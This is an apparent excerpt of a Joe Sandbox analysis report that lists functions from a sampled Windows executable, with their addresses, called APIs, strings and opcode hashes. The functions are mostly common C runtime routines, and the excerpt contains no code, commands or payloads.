Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 54468d5b0e0b17550742b36ee080305eea7582c3f416f01e506fd345fd992b32
Instruction ID: a896582ae84753234d0485e55f1e4c896044adfce9b067eff03db5539b41649e
Opcode Fuzzy Hash: 54468d5b0e0b17550742b36ee080305eea7582c3f416f01e506fd345fd992b32
Instruction Fuzzy Hash: 6A314172A09B8186EB60AF61E8403EDB364FB84754F94403ADA4E57B94EF3CD64CC720

Function 00007FF78D29A138 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF78D29A1B1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78D29A1C9
RtlVirtualUnwind.KERNEL32 ref: 00007FF78D29A204
IsDebuggerPresent.KERNEL32 ref: 00007FF78D29A23D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78D29A247
UnhandledExceptionFilter.KERNEL32 ref: 00007FF78D29A252

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 41fa95607073e07be256b2c72b2606f37971524e21ee23663191f08076ae11db
Instruction ID: 221e026384e43606baffc2ac2e1d8be0d5ff9812cb78542b244472fa235bba1b
Opcode Fuzzy Hash: 41fa95607073e07be256b2c72b2606f37971524e21ee23663191f08076ae11db
Instruction Fuzzy Hash: 3031863661CB8196DB60EF25E8406EDB7A0FB88764FA00136EA9D43B54EF3CD549CB10

Function 00007FF78D2A1444 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A1490
FindFirstFileExW.KERNEL32 ref: 00007FF78D2A159A

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 8b94915d2b7661d90da359cbbc062497dfe5eeff3ab747d84b346a8482929d47
Instruction ID: 7c4727fdba6b88dc63bcb708dcfd2e85ca724ef6e94b27525dba22a25e5eaac3
Opcode Fuzzy Hash: 8b94915d2b7661d90da359cbbc062497dfe5eeff3ab747d84b346a8482929d47
Instruction Fuzzy Hash: B1B1D222B1C69241EA62EB2799046F9E361FB44BF4FA45131EA5E47AC4FF3CE449C710

Function 00007FF78D28C4E0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF78D28C50C
GetCurrentThreadId.KERNEL32 ref: 00007FF78D28C51A
GetCurrentProcessId.KERNEL32 ref: 00007FF78D28C526
QueryPerformanceCounter.KERNEL32 ref: 00007FF78D28C536

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 11d5bba845acbea2425737876f3c9e96e3c53b54ec83a33f4d8fba7a27313cd0
Instruction ID: b151ec7b97a72d5a3b028ead9bc4f4bbc24ee9172baed6648ef6805052217d6d
Opcode Fuzzy Hash: 11d5bba845acbea2425737876f3c9e96e3c53b54ec83a33f4d8fba7a27313cd0
Instruction Fuzzy Hash: 71111C22B18B058AEB00AB61E8542E973A4FB19768F940E31DA6D967A4EF7CD158C350

Function 00007FF78D2A37E0 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF78D2A3846
memcpy_s.LIBCPMT ref: 00007FF78D2A3871

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 6273382d50fed1f751b377285e50658ac005b76950c2eec69e6856b7fd853d90
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 76C13672B1C28687E724DF9AA0846AEF791F784B94F919135DB4E43744EB3CE819CB00

Function 00007FF78D2A9558 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF78D2A97A7
RaiseException.KERNEL32 ref: 00007FF78D2A97B8

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 568c7ae124d6dae7e398ac6c960894f636de38b2d030c6f7222b92d40e7308a5
Instruction ID: fdefb0f754e3f919beffd3a6b8e5306f83050f8894356f557db75986ace78224
Opcode Fuzzy Hash: 568c7ae124d6dae7e398ac6c960894f636de38b2d030c6f7222b92d40e7308a5
Instruction Fuzzy Hash: 17B17E73608B858BEB15CF2AC8863AC7BE0F784B58FA48821DB5D877A4DB39D455C710

Function 00007FF78D2888B0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF78D2888E3
FindClose.KERNEL32 ref: 00007FF78D2888F2

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: dd3da1ef29105ebc68fc68f87d2f10e7ca629e2d6866eee2cecd8b49a490aee8
Instruction ID: 2527ce9628f2dc2d987d814e382a4190950f40b6001f8d192714fdb7566f9001
Opcode Fuzzy Hash: dd3da1ef29105ebc68fc68f87d2f10e7ca629e2d6866eee2cecd8b49a490aee8
Instruction Fuzzy Hash: 4BF0AF26A1C64686F7A0AF60B4483AAE3A0FB84334F940235DAAD426D4EF3CD00DCA10

Function 00007FF78D293144 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF78D2932B2
, xrefs: 00007FF78D2934F4

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: f07d5d33f1a8da3326ef272caa3b33184d2d0159e9f1bd8c231dd482bebe608b
Instruction ID: 2cbee01ef73d119bd544e2d72ab1b501ea4f263879629525fbfe79596b0e2a7b
Opcode Fuzzy Hash: f07d5d33f1a8da3326ef272caa3b33184d2d0159e9f1bd8c231dd482bebe608b
Instruction Fuzzy Hash: F4E1E832A0C64291EB68AF3981509BDB3A2FF45B58FB45135CA0E07794EF39E869C350

Function 00007FF78D29DA10 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF78D29DB9A
e+000, xrefs: 00007FF78D29DB1D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 9d208d5ad093cf92ce28cf946935118bf86404d49dfb7d3e06e8cf02dd290ccb
Instruction ID: 34ff1b7aebbb181ac3917b2d189498d15e9a4bbe24c218451361e90b7ede2dd6
Opcode Fuzzy Hash: 9d208d5ad093cf92ce28cf946935118bf86404d49dfb7d3e06e8cf02dd290ccb
Instruction Fuzzy Hash: 14516862B1C2C556E7209E36D810BA9A792F744BA4F989371CBAC47BC6EF3DD008C710

Function 00007FF78D2A0498 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 25f1439a23e11dbb97a6a603a3e0854ecd30c909fb55d039eafd14f8629e1cc5
Instruction ID: 5795ccee4ab5a683c5ff6ddbcee08e21d32796963300f757233934f5fcb4d986
Opcode Fuzzy Hash: 25f1439a23e11dbb97a6a603a3e0854ecd30c909fb55d039eafd14f8629e1cc5
Instruction Fuzzy Hash: CD028B21A1D64280FA65BB279604AF9E685FF40FB0FE44635DD5D463DAFE3DA809C320

Function 00007FF78D29D57C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF78D29D8BE

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 3bb4969ec49d010cc662085f6c8d56b445285057a71a3f36cb8a1d960ad334a2
Instruction ID: 73e2f756a195b63b8c2ef76cbd3bdf1051f647c1a7229d04e652d82a96400498
Opcode Fuzzy Hash: 3bb4969ec49d010cc662085f6c8d56b445285057a71a3f36cb8a1d960ad334a2
Instruction Fuzzy Hash: A8A15762B0C7C586EB21DF29A000BEDB792BB51B84F648231DE4D47786EE3DD50AD710

Function 00007FF78D297C30 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF78D297C4F

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: fd120837b47c76c7c1c22c3ba6ae0ee81432a3f2719cd6b1190ebbfe5085d853
Instruction ID: 84506f240e0b9f67d04d54d4770777cc9f5cde7c1a847d35439c867fb233c21d
Opcode Fuzzy Hash: fd120837b47c76c7c1c22c3ba6ae0ee81432a3f2719cd6b1190ebbfe5085d853
Instruction Fuzzy Hash: D9518A11B0C61261FA68BB2799119FAD292BF84B94FE85034DE0D47796FE3DE40FC224

Function 00007FF78D2A3050 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF78D2A3054

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 60fde1da102ca8ce01a79382e67122acced537d99442d0c9bc057ddfbd0c554d
Instruction ID: 8098ab94086c23dfcf6593b4fcb33b8fd2e582375705938c3f17b615238a5925
Opcode Fuzzy Hash: 60fde1da102ca8ce01a79382e67122acced537d99442d0c9bc057ddfbd0c554d
Instruction Fuzzy Hash: 9FB09224E0BA46C2EA097B526C8625462A8BF88720FE44138C10C81320EE2C24B9C721

Function 00007FF78D292D40 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398403bbe6f4552b8df0150e8d3176a41db5bf8c7d2e29d02bb093b1ab15fe0d
Instruction ID: a76003b7cd21c7448bcbbe71d5807152fe526dc8015705f0d6a3675570c5c891
Opcode Fuzzy Hash: 398403bbe6f4552b8df0150e8d3176a41db5bf8c7d2e29d02bb093b1ab15fe0d
Instruction Fuzzy Hash: B1D1E532A0C60695EB68EA258050AFDF7A2FF05B48FF44135CE5D07695EF39E859C360

Function 00007FF78D288FB0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5655336314cb7e5c178748fddd53a5f985d166f21f98289d3fe2fe356ca102d1
Instruction ID: adcd2754d78bf64680c82993903652ff729cb28dd8031f89f74da57886763ef5
Opcode Fuzzy Hash: 5655336314cb7e5c178748fddd53a5f985d166f21f98289d3fe2fe356ca102d1
Instruction Fuzzy Hash: DFC106B22241E08BE6C8FB39E4594BAB3E1F798309BD5413AEB8747785C63DE415D720

Function 00007FF78D2923B0 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a913f5f1029ac655e749892702db5c56a1e7f64b413482bd265fac5670b36f6f
Instruction ID: 4441df77f9a9a8da038d5890619ccbfb4211fc2e7d29c7cbc2ff51291daab7e9
Opcode Fuzzy Hash: a913f5f1029ac655e749892702db5c56a1e7f64b413482bd265fac5670b36f6f
Instruction Fuzzy Hash: 2BB1BB7294C78295E7699F29C050ABCBBA2FB09B48FF80135CA4E47795EF39D449C720

Function 00007FF78D29E090 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f936e0bad4484f87e48f42190a91ff6130ca2e1967a3cf2da462f21784bd977f
Instruction ID: f43e5197e1c905ea11ef865ae4f1e395bc59e5b142b19b575da3a11b28d4133b
Opcode Fuzzy Hash: f936e0bad4484f87e48f42190a91ff6130ca2e1967a3cf2da462f21784bd977f
Instruction Fuzzy Hash: CF812672A0C38156E774EF19D440BBAE692FB85790FA44235DA8D03B89EF3CE458CB10

Function 00007FF78D2A62D0 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a687f3c718ccc7bd0215b55d77eaa928562b7ca19b364bc244ca3975e66880b5
Instruction ID: b458c2775b8f9b5a75f0748c65d55595ff25910eb7a4908b2486a0d34a1d28d9
Opcode Fuzzy Hash: a687f3c718ccc7bd0215b55d77eaa928562b7ca19b364bc244ca3975e66880b5
Instruction Fuzzy Hash: 7B61E822E0CA9246FB74AA2A94547F9E681FF40771FB40239DA1D466C5FF7DE809C720

Function 00007FF78D291904 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a02fcdcf92c0a2c9a35e836e6333fb64ecc70c5ed9b2f6572b25d33bf7c64b
Instruction ID: 8cec15945cb6d12bc58bab0ff4629864f6980baf5710ea9bcb359e486bb3d55a
Opcode Fuzzy Hash: 52a02fcdcf92c0a2c9a35e836e6333fb64ecc70c5ed9b2f6572b25d33bf7c64b
Instruction Fuzzy Hash: 3D51C736A1C65192F725DF2AC040AB8B3A2FB44B58FB44131CE8D17794EB3AED46C750

Function 00007FF78D2910E4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ee5e20bab15de11e4dd18ca9e8a43eac167d7c0a0227fcc00f18b96ee599bc
Instruction ID: 6bbc395ba16b74bc1f0a24409974a544f811e072cd2cbf47b154664ff4c8f424
Opcode Fuzzy Hash: a4ee5e20bab15de11e4dd18ca9e8a43eac167d7c0a0227fcc00f18b96ee599bc
Instruction Fuzzy Hash: 1B51A536A1C651A2E725DB2AC040AB8B3A2FB85F68F744131CE4D577D4EB3AE847C750

Function 00007FF78D2914F4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
